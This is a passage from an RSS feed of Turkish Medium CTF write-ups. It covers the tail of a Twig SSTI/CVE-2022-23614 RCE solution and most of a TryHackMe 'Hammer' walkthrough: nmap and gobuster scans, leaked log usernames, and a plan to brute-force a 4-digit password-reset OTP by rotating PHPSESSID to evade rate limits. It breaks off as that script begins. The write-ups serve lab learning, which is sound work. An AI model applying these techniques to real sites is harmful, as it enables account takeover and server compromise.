SSTI payloadları denemeye başlıyorum ve sonuç başarılı:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IA2cv-nyvoOvrXIAViZa4w.png" /><figcaption>Klasik SSTI payloadının denenmesi</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XcF4i9fE_u_D5FbU3R377Q.png" /><figcaption>SSTI zaafiyetinin kanıtı</figcaption></figure><p>Şimdi bunu kullanarak /flags dizinine erişebilmem lazım.</p><p>Çeşitli payloadlar denedim ama sandbox engelinden dolayı hiçbiri çalışmadı, malesef burda writeup’a bakmak zorunda kaldım. İşin sinir bozucu kısmı ise açığı bulmuşsun ama sömüremiyorsun :D Neyse yapacak bir şey yok, çözüme devam edelim.</p><p>Burada, bizim daha önceden bulamadığımız /composer.lock ve /composer.json dizinleri varmış(nikto ile bulunabiliyor). /composer.json dizininde bu websitesinin, twig template engine’ın 2.14.0 versiyonunun kullanıldığını görüyorum.</p><p>Bu twig versiyonunu internette arattığımda karşıma direkt CVE-2022–23614 zaafiyeti geliyor. PoC’u da mevcut: <a href="https://github.com/4rtamis/CVE-2022-23614">https://github.com/4rtamis/CVE-2022-23614</a></p><p>Bu zaafiyetin özü: Sandbox modunda, sort filtresinin sıralama için kullanacağı fonksiyonların kısıtlı olması (sadece belirli “closure” türünde olması) gerekmesiyken, etkilenen bu v2.14 sürümünde bu kısıtlama düzgün bir şekilde uygulanmamış dolayısıyla bir saldırgan bu zaafiyetten yararlanarak RCE elde edebiliyor. PoC’da verilen payloadı deniyorum ama bu da işe yaramıyor :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*8w5RxFQ3eQFavYIohwnMdw.png" /><figcaption>PoC payloadının denenmesi</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KrxEypdOuAJ_QUjYdAm4IA.png" /><figcaption>PoC payloadının sonucu</figcaption></figure><p>Kafayı yemek üzereyim burada. Payload çalışıyormuş gibi görünüyor fakat sonuç olarak sadece Array alıyorum. Burada bir filtreleme olabileceği aklıma yatıyor ve system yerine diğer komut çalıştırma fonksiyonlarını deniyorum(exec, shell_exec, passthru vb.) ve sonunda passthru fonksiyonu çalışıyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oX0xLp13yWulavwxCtUvAg.png" /><figcaption>SSTI için filtrelemeyi bypass eden payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FbEYsPXdfOpMmcVFsAqzLg.png" /><figcaption>SSTI ile RCE elde ediliyor</figcaption></figure><p>Şimdi /flags dizininden bayrağı okumaya geçebilirim.</p><p>İlk olarak bayrağın tam yolunu öğrenmem lazım:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3WfmsSz1jx3dEjtJLPr0Gg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NoOb-sycQSjWb4PTbhdqFA.png" /><figcaption>Bayrağın tam yolu öğreniliyor</figcaption></figure><p>Ve son olarak cat komutuyla bayrağı okuyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6V_cQTB-D0PO-7RVO4y4LQ.png" /><figcaption>Son bayrağı okumak için kullanılan payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fAEZAQaPCGHDr3UEESVOgg.png" /><figcaption>Son bayrağın elde edilmesi</figcaption></figure><p>4-) Değerlendirme</p><p>Güzel ve psikoloji bırakmayan bir CTF’ti. Enjeksiyon açıkları için biçilmiş bir kaftandı. Bu CTF’ten sonra uzun bi süre boyunca bir daha CTF çözeceğimi sanmıyorum(bu CTF’ten kaynaklı değil, vize sınavlarım var :D Ama bunun da etkisi var biraz :D). Bu CTF’ten çıkarılacak ders:</p><p>+ Nikto’nun açamayacağı bir kapı yoktur :D</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e43def36e157" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM Hammer Cozumu/Walkthrough]]></title>
            <link>https://medium.com/@st4inl3s5/thm-hammer-cozumu-walkthrough-8b708c8534fd?source=rss-8ac372c1fc98------2</link>
            <guid isPermaLink="false">https://medium.com/p/8b708c8534fd</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Yiğit Aydemir]]></dc:creator>
            <pubDate>Mon, 20 Oct 2025 21:55:50 GMT</pubDate>
            <atom:updated>2025-10-20T22:03:10.012Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*YtYM8l59n-IeFDL2eyImoQ.png" /></figure><p>1-) Recon(Keşif)</p><pre>st4inl3s5@archBTW:~$ sudo nmap -sV -sC -T4 -v -O -p- 10.10.142.41<br>[sudo] password for st4inl3s5:<br>Starting Nmap 7.98 ( https://nmap.org ) at 2025–10–20 13:52 +0300<br>NSE: Loaded 158 scripts for scanning.<br>NSE: Script Pre-scanning.<br>Initiating NSE at 13:52<br>Completed NSE at 13:52, 0.00s elapsed<br>Initiating NSE at 13:52<br>Completed NSE at 13:52, 0.00s elapsed<br>Initiating NSE at 13:52<br>Completed NSE at 13:52, 0.00s elapsed<br>Initiating Ping Scan at 13:52<br>Scanning 10.10.142.41 [4 ports]<br>Completed Ping Scan at 13:52, 0.16s elapsed (1 total hosts)<br>Initiating Parallel DNS resolution of 1 host. at 13:52<br>Completed Parallel DNS resolution of 1 host. at 13:52, 0.50s elapsed<br>Initiating SYN Stealth Scan at 13:52<br>Scanning 10.10.142.41 [65535 ports]<br>Discovered open port 22/tcp on 10.10.142.41<br>Increasing send delay for 10.10.142.41 from 0 to 5 due to 1465 out of 3661 dropped probes since last increase.<br>Increasing send delay for 10.10.142.41 from 5 to 10 due to 11 out of 17 dropped probes since last increase.<br>SYN Stealth Scan Timing: About 6.12% done; ETC: 14:01 (0:07:56 remaining)<br>SYN Stealth Scan Timing: About 9.30% done; ETC: 14:03 (0:09:55 remaining)<br>SYN Stealth Scan Timing: About 13.01% done; ETC: 14:04 (0:10:28 remaining)<br>Stats: 0:03:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br>SYN Stealth Scan Timing: About 23.05% done; ETC: 14:05 (0:10:08 remaining)<br>SYN Stealth Scan Timing: About 31.72% done; ETC: 14:06 (0:09:26 remaining)<br>SYN Stealth Scan Timing: About 37.92% done; ETC: 14:06 (0:08:44 remaining)<br>SYN Stealth Scan Timing: About 46.71% done; ETC: 14:06 (0:07:17 remaining)<br>Stats: 0:08:17 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br>SYN Stealth Scan Timing: About 54.95% done; ETC: 14:07 (0:06:48 remaining)<br>SYN Stealth Scan Timing: About 60.58% done; ETC: 14:08 (0:06:02 remaining)<br>SYN Stealth Scan Timing: About 65.59% done; ETC: 14:08 (0:05:16 remaining)<br>SYN Stealth Scan Timing: About 70.99% done; ETC: 14:08 (0:04:28 remaining)<br>SYN Stealth Scan Timing: About 76.39% done; ETC: 14:08 (0:03:40 remaining)<br>SYN Stealth Scan Timing: About 81.62% done; ETC: 14:08 (0:02:52 remaining)<br>SYN Stealth Scan Timing: About 86.82% done; ETC: 14:08 (0:02:03 remaining)<br>SYN Stealth Scan Timing: About 92.05% done; ETC: 14:08 (0:01:15 remaining)<br>Discovered open port 1337/tcp on 10.10.142.41<br>Completed SYN Stealth Scan at 14:08, 964.22s elapsed (65535 total ports)<br>Initiating Service scan at 14:08<br>Scanning 2 services on 10.10.142.41<br>Completed Service scan at 14:09, 11.65s elapsed (2 services on 1 host)<br>Initiating OS detection (try #1) against 10.10.142.41<br>Retrying OS detection (try #2) against 10.10.142.41<br>WARNING: OS didn&#39;t match until try #2<br>NSE: Script scanning 10.10.142.41.<br>Initiating NSE at 14:09<br>Completed NSE at 14:09, 7.83s elapsed<br>Initiating NSE at 14:09<br>Completed NSE at 14:09, 0.41s elapsed<br>Initiating NSE at 14:09<br>Completed NSE at 14:09, 0.00s elapsed<br>Nmap scan report for 10.10.142.41<br>Host is up (0.13s latency).<br>Not shown: 65533 closed tcp ports (reset)<br>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>| 3072 cc:20:05:55:b5:93:e0:80:6b:5d:31:5d:1e:20:49:48 (RSA)<br>| 256 ce:92:d1:f5:eb:de:09:ab:16:90:5e:e9:d1:47:1d:58 (ECDSA)<br>|_ 256 0d:21:55:27:75:30:10:ce:81:e6:80:9c:2b:df:a1:fd (ED25519)<br>1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))<br>|_http-title: Login<br>| http-methods:<br>|_ Supported Methods: GET HEAD POST OPTIONS<br>| http-cookie-flags:<br>| /:<br>| PHPSESSID:<br>|_ httponly flag not set<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>Device type: general purpose<br>Running: Linux 4.X<br>OS CPE: cpe:/o:linux:linux_kernel:4.15<br>OS details: Linux 4.15<br>Uptime guess: 5.130 days (since Wed Oct 15 11:01:52 2025)<br>Network Distance: 2 hops<br>TCP Sequence Prediction: Difficulty=260 (Good luck!)<br>IP ID Sequence Generation: All zeros<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br>NSE: Script Post-scanning.<br>Initiating NSE at 14:09<br>Completed NSE at 14:09, 0.00s elapsed<br>Initiating NSE at 14:09<br>Completed NSE at 14:09, 0.00s elapsed<br>Initiating NSE at 14:09<br>Completed NSE at 14:09, 0.00s elapsed<br>Read data files from: /usr/bin/../share/nmap<br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 990.38 seconds<br>Raw packets sent: 77533 (3.413MB) | Rcvd: 71064 (2.845MB)</pre><p>1337:HTTP ve 22:SSH portları açık. Herhangi bir versiyon açığı vs. yok.</p><p>HTTP’yi keşfetmeye başlıyorum.</p><p>Giriş sayfasında bir not:</p><pre>&lt;! - Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME - &gt;</pre><p>Buradan dizin adlandırmasının hmr_DIZIN olacak şekilde yapılandırıldığını görüyorum.</p><p>Şifre sıfırlama sayfası mevcut: /forgot_password.php</p><p>Bu sayfada ilginç bir script mevcut:</p><pre>&lt;script&gt;<br>let countdownv = ;<br>function startCountdown() {<br>let timerElement = document.getElementById(&quot;countdown&quot;);<br>const hiddenField = document.getElementById(&quot;s&quot;);<br>let interval = setInterval(function() {<br>countdownv - ;<br>hiddenField.value = countdownv;<br>if (countdownv &lt;= 0) {<br>clearInterval(interval);<br>//alert(&quot;hello&quot;);<br>window.location.href = &#39;logout.php&#39;;<br>}<br>timerElement.textContent = &quot;You have &quot; + countdownv + &quot; seconds to enter your code.&quot;;<br>}, 1000);<br>}<br>&lt;/script&gt;</pre><p>OTP kodunu girmek için bir zamanlayıcı ayarlıyor ve sanırım her saniye sonunda bu script çalıştırılıp ekranda ne kadar zaman kaldığını gösteriyor. Zaman bitince de bizi logout.php’ye yönlendiriyor. Client-side’da böyle bir uygulama yapıldığı için bypass edilebilir kolayca diye düşünüyorum.</p><p>Fakat burada bunu deneyebilmek için kesinlikle <strong>**bana bir email adresi lazım.**</strong></p><p>2-) Enumerasyon</p><p>Dizin taraması yapmadım henüz dolayısıyla bir tane dizin taraması başlatıyorum:</p><pre>st4inl3s5@archBTW:~$ gobuster dir -u http://10.10.142.41:1337/ -w /usr/share/wordlists/dirb/common.txt -t 100 -x php,html,txt<br>===============================================================<br>Gobuster v3.8.2<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url: http://10.10.142.41:1337/<br>[+] Method: GET<br>[+] Threads: 100<br>[+] Wordlist: /usr/share/wordlists/dirb/common.txt<br>[+] Negative Status codes: 404<br>[+] User Agent: gobuster/3.8.2<br>[+] Extensions: php,html,txt<br>[+] Timeout: 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>.hta.html (Status: 403) [Size: 279]<br>.hta (Status: 403) [Size: 279]<br>.hta.txt (Status: 403) [Size: 279]<br>.hta.php (Status: 403) [Size: 279]<br>.htaccess (Status: 403) [Size: 279]<br>.htaccess.txt (Status: 403) [Size: 279]<br>.htaccess.php (Status: 403) [Size: 279]<br>.htpasswd (Status: 403) [Size: 279]<br>.htpasswd.php (Status: 403) [Size: 279]<br>.htaccess.html (Status: 403) [Size: 279]<br>.htpasswd.html (Status: 403) [Size: 279]<br>.htpasswd.txt (Status: 403) [Size: 279]<br>config.php (Status: 200) [Size: 0]<br>dashboard.php (Status: 302) [Size: 0] [ → logout.php]<br>index.php (Status: 200) [Size: 1326]<br>index.php (Status: 200) [Size: 1326]<br>javascript (Status: 301) [Size: 324] [ → http://10.10.142.41:1337/javascript/]<br>logout.php (Status: 302) [Size: 0] [ → index.php]<br>phpmyadmin (Status: 301) [Size: 324] [ → http://10.10.142.41:1337/phpmyadmin/]<br>server-status (Status: 403) [Size: 279]<br>vendor (Status: 301) [Size: 320] [ → http://10.10.142.41:1337/vendor/]<br>Progress: 18452 / 18452 (100.00%)<br>===============================================================<br>Finished<br>===============================================================</pre><p>.php sayfalarının hepsi bizi index.php’ye yönlendirmekte. /javascript dizini forbidden veriyor. /phpmyadmin dizininde bir panel mevcut fakat yine kullanıcı adı ve şifre lazım. /vendor dizininde sanırım websitesinde kullanılan kütüphanelerin repoları mevcut. Buradan çok bir şey bulamadım.</p><p>Bir de “hmr_” prefixli bir dizin taraması yapacağım çünkü yorum satırı vardı /login sayfasında. Wordlistteki her kelimenin başına hmr_ prefixini ekleyip bunu gobuster ile tarayacağım. Bunun için add_prefix_to_wordlist.py adlı bir python scriptini yazdım(Bunu built-in linux araçlarıyla da yapabilirsiniz, ben her şeyi scripte dökmeyi seviyorum):</p><pre># Adım 1: Dosyayı aç<br># Adım 2: Her bir satıra hmr_ ekleyip yeni bir dosyaya yaz.<br># Adım 3: Yeni oluşturulan dosyayı kaydet.<br><br>gobuster_wordlist_path = &quot;/usr/share/wordlists/dirb/common.txt&quot;<br>prefixed_wordlist_path = &quot;hmr_prefixed_wordlist.txt&quot;<br><br>prefixed_wordlist = open(prefixed_wordlist_path, &quot;a&quot;, encoding=&quot;utf-8&quot;)<br><br>with open(gobuster_wordlist_path, &quot;r&quot;, encoding=&quot;utf-8&quot;) as gobuster_wordlist:<br>    for word in gobuster_wordlist.readlines():<br>        hmr_prefix_word = &quot;hmr_&quot; + word<br>        prefixed_wordlist.write(hmr_prefix_word)<br><br></pre><p>Şimdi gobuster ile dizin taramasını bu wordlisti kullanarak yapıyorum:</p><pre>st4inl3s5@archBTW:~/Documents/ctf/hammer$ gobuster dir -u http://10.10.142.41:1337/ -w hmr_prefixed_wordlist.txt -t 100 -x php,html,txt<br>===============================================================<br>Gobuster v3.8.2<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url: http://10.10.142.41:1337/<br>[+] Method: GET<br>[+] Threads: 100<br>[+] Wordlist: hmr_prefixed_wordlist.txt<br>[+] Negative Status codes: 404<br>[+] User Agent: gobuster/3.8.2<br>[+] Extensions: php,html,txt<br>[+] Timeout: 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>Progress: 2565 / 18456 (13.90%)[ERROR] error on word hmr_.rhosts.php: timeout occurred during the request<br>[ERROR] error on word hmr_.sh_history.txt: timeout occurred during the request<br>[ERROR] error on word hmr_.passwd.php: timeout occurred during the request<br>[ERROR] error on word hmr_.mysql_history.php: timeout occurred during the request<br>[ERROR] error on word hmr_.listings.txt: timeout occurred during the request<br>[ERROR] error on word hmr_.listing.txt: timeout occurred during the request<br>[ERROR] error on word hmr_.svn/entries: timeout occurred during the request<br>hmr_css (Status: 301) [Size: 321] [ → http://10.10.142.41:1337/hmr_css/]<br>hmr_images (Status: 301) [Size: 324] [ → http://10.10.142.41:1337/hmr_images/]<br>Progress: 8241 / 18456 (44.65%)[ERROR] error on word hmr_cm.php: timeout occurred during the request<br>hmr_js (Status: 301) [Size: 320] [ → http://10.10.142.41:1337/hmr_js/]<br>hmr_logs (Status: 301) [Size: 322] [ → http://10.10.142.41:1337/hmr_logs/]<br>Progress: 10731 / 18456 (58.14%)[ERROR] error on word hmr_fashion: timeout occurred during the request<br>Progress: 13777 / 18456 (74.65%)[ERROR] error on word hmr_lifestyle.txt: timeout occurred during the request<br>Progress: 15370 / 18456 (83.28%)[ERROR] error on word hmr_mssql.txt: timeout occurred during the request<br>Progress: 18453 / 18456 (99.98%)[ERROR] error on word hmr_shopsys.php: timeout occurred during the request<br>Progress: 18456 / 18456 (100.00%)<br>===============================================================<br>Finished<br>===============================================================</pre><p>/hmr_css, /hmr_images, /hmr_js ve /hmr_logs adında yeni dizinler keşfettik. Bunlara bakalım.</p><p>/hmr_css dizininde css dosyaları var bizi çok ilgilendirmiyor.</p><p>/hmr_images dizininde bir resim dosyası var yine bizi çok ilgilendirmiyor gibi görünüyor şimdilik.</p><p>/hmr_js dizininde bir jquery js dosyası var yine bizi çok ilgilendirmiyor.</p><p>/hmr_logs dizininde error.logs dosyasında, kullanıcı adı ve bazı endpointler gözümüze çarpıyor:</p><pre>        [Mon Aug 19 12:00:01.123456 2024] [core:error] [pid 12345:tid 139999999999999] [client 192.168.1.10:56832] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use &#39;LimitInternalRecursion&#39; to increase the limit if necessary. Use &#39;LogLevel debug&#39; to get a backtrace.<br>        [Mon Aug 19 12:01:22.987654 2024] [authz_core:error] [pid 12346:tid 139999999999998] [client 192.168.1.15:45918] AH01630: client denied by server configuration: /var/www/html/<br>        [Mon Aug 19 12:02:34.876543 2024] [authz_core:error] [pid 12347:tid 139999999999997] [client 192.168.1.12:37210] AH01631: user tester@hammer.thm: authentication failure for &quot;/restricted-area&quot;: Password Mismatch<br>        [Mon Aug 19 12:03:45.765432 2024] [authz_core:error] [pid 12348:tid 139999999999996] [client 192.168.1.20:37254] AH01627: client denied by server configuration: /etc/shadow<br>        [Mon Aug 19 12:04:56.654321 2024] [core:error] [pid 12349:tid 139999999999995] [client 192.168.1.22:38100] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/protected<br>        [Mon Aug 19 12:05:07.543210 2024] [authz_core:error] [pid 12350:tid 139999999999994] [client 192.168.1.25:46234] AH01627: client denied by server configuration: /home/hammerthm/test.php<br>        [Mon Aug 19 12:06:18.432109 2024] [authz_core:error] [pid 12351:tid 139999999999993] [client 192.168.1.30:40232] AH01617: user tester@hammer.thm: authentication failure for &quot;/admin-login&quot;: Invalid email address<br>        [Mon Aug 19 12:07:29.321098 2024] [core:error] [pid 12352:tid 139999999999992] [client 192.168.1.35:42310] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use &#39;LimitInternalRecursion&#39; to increase the limit if necessary. Use &#39;LogLevel debug&#39; to get a backtrace.<br>        [Mon Aug 19 12:09:51.109876 2024] [core:error] [pid 12354:tid 139999999999990] [client 192.168.1.50:45998] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/locked-down</pre><p>Elde ettiğimiz kullanıcı adı: tester@hammer.thm</p><p>Elde ettiğimiz endpointler: /restricted-area, /protected, /admin-login, /locked-down. Fakat bu endpointlerin hepsi 404 Not Found döndürüyor.</p><p>Elimizde kullanıcı adımız var. Bu durumda iki seçeneğimiz kalıyor:</p><p>+ Parolaya brute-force denemek.</p><p>+ Parola sıfırlama kısmında 4 haneli OTP doğrulaması var. Burada açık arayabiliriz.</p><p>Mantıken OTP kısmını incelememiz daha mantıklı olacaktır çünkü parola kırmak çok uzun sürebilir ve elimizde herhangi bir ipucu da yok.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w9CLgTVBQafbBQmnoGgoxg.png" /><figcaption>/reset_password.php</figcaption></figure><p>Tahmin ettiğim gibi, burada şu HTML kodu ile keşif sırasında /reset_password.php’de bulduğumuz script fonksiyonu çalıştırılıyor:</p><pre>&lt;script&gt;startCountdown();&lt;/script&gt;</pre><p>Ve ekranda ne kadar süremiz kaldığı yazdırılıyor. /reset_password.php’de 4 haneli OTP kodunun HTML formunu inceliyorum:</p><pre>&lt;div class=&quot;container mt-5&quot;&gt;<br>&lt;div class=&quot;row justify-content-center&quot;&gt;<br>&lt;div class=&quot;col-md-4&quot;&gt;<br>&lt;h3 class=&quot;text-center&quot;&gt;Enter Recovery Code&lt;/h3&gt;<br>&lt;p id=&quot;countdown&quot;&gt;You can enter your code in 180 seconds.&lt;/p&gt;<br>&lt;form method=&quot;POST&quot; action=&quot;&quot;&gt;<br>&lt;div class=&quot;mb-3&quot;&gt;<br>&lt;label for=&quot;recovery_code&quot; class=&quot;form-label&quot;&gt;4-Digit Code&lt;/label&gt;<br>&lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;recovery_code&quot; name=&quot;recovery_code&quot; required&gt;<br>&lt;input type=&quot;hidden&quot; class=&quot;form-control&quot; id=&quot;s&quot; name=&quot;s&quot; required&gt;<br>&lt;/div&gt;<br>&lt;button type=&quot;submit&quot; class=&quot;btn btn-primary w-100&quot;&gt;Submit Code&lt;/button&gt;<br>&lt;p&gt;&lt;/p&gt;<br>&lt;button type=&quot;button&quot; class=&quot;btn btn-primary w-100&quot; style=&quot;background-color: red; border-color: red;&quot; onclick=&quot;window.location.href=&#39;logout.php&#39;;&quot;&gt;Cancel&lt;/button&gt;<br>&lt;/form&gt;<br>&lt;script&gt;startCountdown();&lt;/script&gt;<br>&lt;/div&gt;<br>&lt;/div&gt;<br>&lt;/div&gt;</pre><p>Burada OTP kodunu gönderdiğimiz zaman, /forgot_password.php endpointine POST isteği atılıyor ve bu istekte kullanılan body kısmı şunları içeriyor:</p><p>+ recovery_code = Girilen 4 haneli OTP kodu</p><p>+ s = Sanırım, POST isteği sonrasında ekranı güncellemek için kullanılan bir parametre. Önceden keşfettiğimiz javascript’te yine “s” değişkeni vardı.</p><p>Burada artık BurpSuite’i açmanın zamanı geldi diye düşünüyorum. İstekleri incelemeye başlıyorum. Parola sıfırlama isteği:</p><pre>POST /reset_password.php HTTP/1.1<br>Host: 10.10.142.41:1337<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 25<br>Origin: http://10.10.142.41:1337<br>Sec-GPC: 1<br>Connection: keep-alive<br>Referer: http://10.10.142.41:1337/reset_password.php<br>Cookie: PHPSESSID=d2i8qfj2pfd54tffdkk0eee7f9<br>Upgrade-Insecure-Requests: 1<br>Priority: u=0, i<br><br>email=tester%40hammer.thm</pre><p>Yanıtı:</p><pre>HTTP/1.1 302 Found<br>Date: Mon, 20 Oct 2025 12:11:54 GMT<br>Server: Apache/2.4.41 (Ubuntu)<br>Expires: Thu, 19 Nov 1981 08:52:00 GMT<br>Cache-Control: no-store, no-cache, must-revalidate<br>Pragma: no-cache<br>Rate-Limit-Pending: 9<br>Location: reset_password.php<br>Content-Length: 0<br>Keep-Alive: timeout=5, max=97<br>Connection: Keep-Alive<br>Content-Type: text/html; charset=UTF-8</pre><p>Bir de OTP gönderme isteğini inceliyorum:</p><pre>POST /reset_password.php HTTP/1.1<br>Host: 10.10.142.41:1337<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 24<br>Origin: http://10.10.142.41:1337<br>Sec-GPC: 1<br>Connection: keep-alive<br>Referer: http://10.10.142.41:1337/reset_password.php<br>Cookie: PHPSESSID=d2i8qfj2pfd54tffdkk0eee7f9<br>Upgrade-Insecure-Requests: 1<br>Priority: u=0, i<br><br>recovery_code=1234&amp;s=175</pre><p>Yanıtı:</p><pre>HTTP/1.1 200 OK<br>Date: Mon, 20 Oct 2025 12:12:00 GMT<br>Server: Apache/2.4.41 (Ubuntu)<br>Expires: Thu, 19 Nov 1981 08:52:00 GMT<br>Cache-Control: no-store, no-cache, must-revalidate<br>Pragma: no-cache<br>Rate-Limit-Pending: 8<br>Vary: Accept-Encoding<br>Content-Length: 2202<br>Keep-Alive: timeout=5, max=100<br>Connection: Keep-Alive<br>Content-Type: text/html; charset=UTF-8<br><br>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>&lt;meta charset=&quot;UTF-8&quot;&gt;<br>&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<br>&lt;title&gt;Reset Password&lt;/title&gt;<br>&lt;link href=&quot;/hmr_css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&gt;<br>&lt;script src=&quot;/hrm_js/jquery-3.6.0.min.js&quot;&gt;&lt;/script&gt;<br>&lt;script&gt;<br>let countdownv = 175;<br>function startCountdown() {<br>let timerElement = document.getElementById(&quot;countdown&quot;);<br>const hiddenField = document.getElementById(&quot;s&quot;);<br>let interval = setInterval(function() {<br>countdownv - ;<br>hiddenField.value = countdownv;<br>if (countdownv &lt;= 0) {<br>clearInterval(interval);<br>//alert(&quot;hello&quot;);<br>window.location.href = &#39;logout.php&#39;;<br>}<br>timerElement.textContent = &quot;You have &quot; + countdownv + &quot; seconds to enter your code.&quot;;<br>}, 1000);<br>}<br>&lt;/script&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;div class=&quot;container mt-5&quot;&gt;<br>&lt;div class=&quot;row justify-content-center&quot;&gt;<br>&lt;div class=&quot;col-md-4&quot;&gt;<br>&lt;div class=&quot;alert alert-danger&quot;&gt;Invalid or expired recovery code!&lt;/div&gt;<br>&lt;h3 class=&quot;text-center&quot;&gt;Enter Recovery Code&lt;/h3&gt;<br>&lt;p id=&quot;countdown&quot;&gt;You can enter your code in 175 seconds.&lt;/p&gt;<br>&lt;form method=&quot;POST&quot; action=&quot;&quot;&gt;<br>&lt;div class=&quot;mb-3&quot;&gt;<br>&lt;label for=&quot;recovery_code&quot; class=&quot;form-label&quot;&gt;4-Digit Code&lt;/label&gt;<br>&lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;recovery_code&quot; name=&quot;recovery_code&quot; required&gt;<br>&lt;input type=&quot;hidden&quot; class=&quot;form-control&quot; id=&quot;s&quot; name=&quot;s&quot; required&gt;<br>&lt;/div&gt;<br>&lt;button type=&quot;submit&quot; class=&quot;btn btn-primary w-100&quot;&gt;Submit Code&lt;/button&gt;<br>&lt;p&gt;&lt;/p&gt;<br>&lt;button type=&quot;button&quot; class=&quot;btn btn-primary w-100&quot; style=&quot;background-color: red; border-color: red;&quot; onclick=&quot;window.location.href=&#39;logout.php&#39;;&quot;&gt;Cancel&lt;/button&gt;<br>&lt;/form&gt;<br>&lt;script&gt;startCountdown();&lt;/script&gt;<br>&lt;/div&gt;<br>&lt;/div&gt;<br>&lt;/div&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>Şimdi burada kafamda bir soru işareti var. Acaba, POST isteğinde gönderilen “s” parametresini değiştirip istediğim bir sayı girersem OTP’yi denemek için kullanılan geri sayımı etkileyebilir miyim? Bunu denemek için Repeater’ı kullanıyorum. Evet emin oldum ki, buradaki “s” parametresi sadece client-side’da ekranı güncellemek için kullanılıyor, server-side’ı etkilemiyor. 180 saniye dolduğu anda server-side bizim denemeleri kabul etmiyor. Ayrıca burada bize zaman geçti uyarısı verirken kullandığı ?error= parametresinde reflected XSS açığı var küçük bir buluş diyelim buna.</p><p>3-) OTP’yi Sömürmek</p><p>Burada(/reset_password.php), sunucudan dönen cevapta Rate-Limit-Pending header’ı dikkatimi çekiyor. Her bir denemede bu rate-limit-pending değeri düşmekte ve 0&#39;a ulaştığında bizim phpsessid cookie’mize ban atıyor. Burada şunu keşfediyorum: phpsessid cookie’si düzgün kontrol edilmiyor. Ban yedikten sonra phpsessid’yi rastgele bir değerle değiştirdiğim zaman rate-limit-pending header’ı tekrardan 9&#39;a çıkıyor.</p><p>Şöyle bir saldırı senaryosu geliyor aklıma:</p><p>+ Rastgele bir phpsessid oluşturup bunu kullanarak parola sıfırlama isteği gönderip, bu phpsessid cookie’si ile önceden belirlediğim 9 olası OTP kodu ile deneme yap. Burada olasılık matematiksel olarak %0.09&#39;dur.</p><p>+ Rate-limit banı yedikten sonra phpsessid’yi rastgele bir değerle değiştirip yeni oluşturulan OTP’yi yine 9 olası OTP koduyla deniyeceğim.</p><p>+ Bunu sürekli tekrar edip en sonunda geçerli OTP’yi bulan phpsessid’yi alıp isteğime yerleştireceğim ve bu isteği tekrar gönderip parola sıfırlama ekranına düşmeyi planlıyorum.</p><p>Şimdi bunun için bir python scripti yazıyorum. Bu script’i otp_bypass_get_cookie.py adıyla kaydediyorum:</p><pre># Adım 1: Rastgele bir phpsessid oluştur.<br># Adım 2: Aşağıdaki isteği gönder, oluşturduğun phpsessid ile birlikte.<br><br># POST /reset_password.php HTTP/1.1<br># 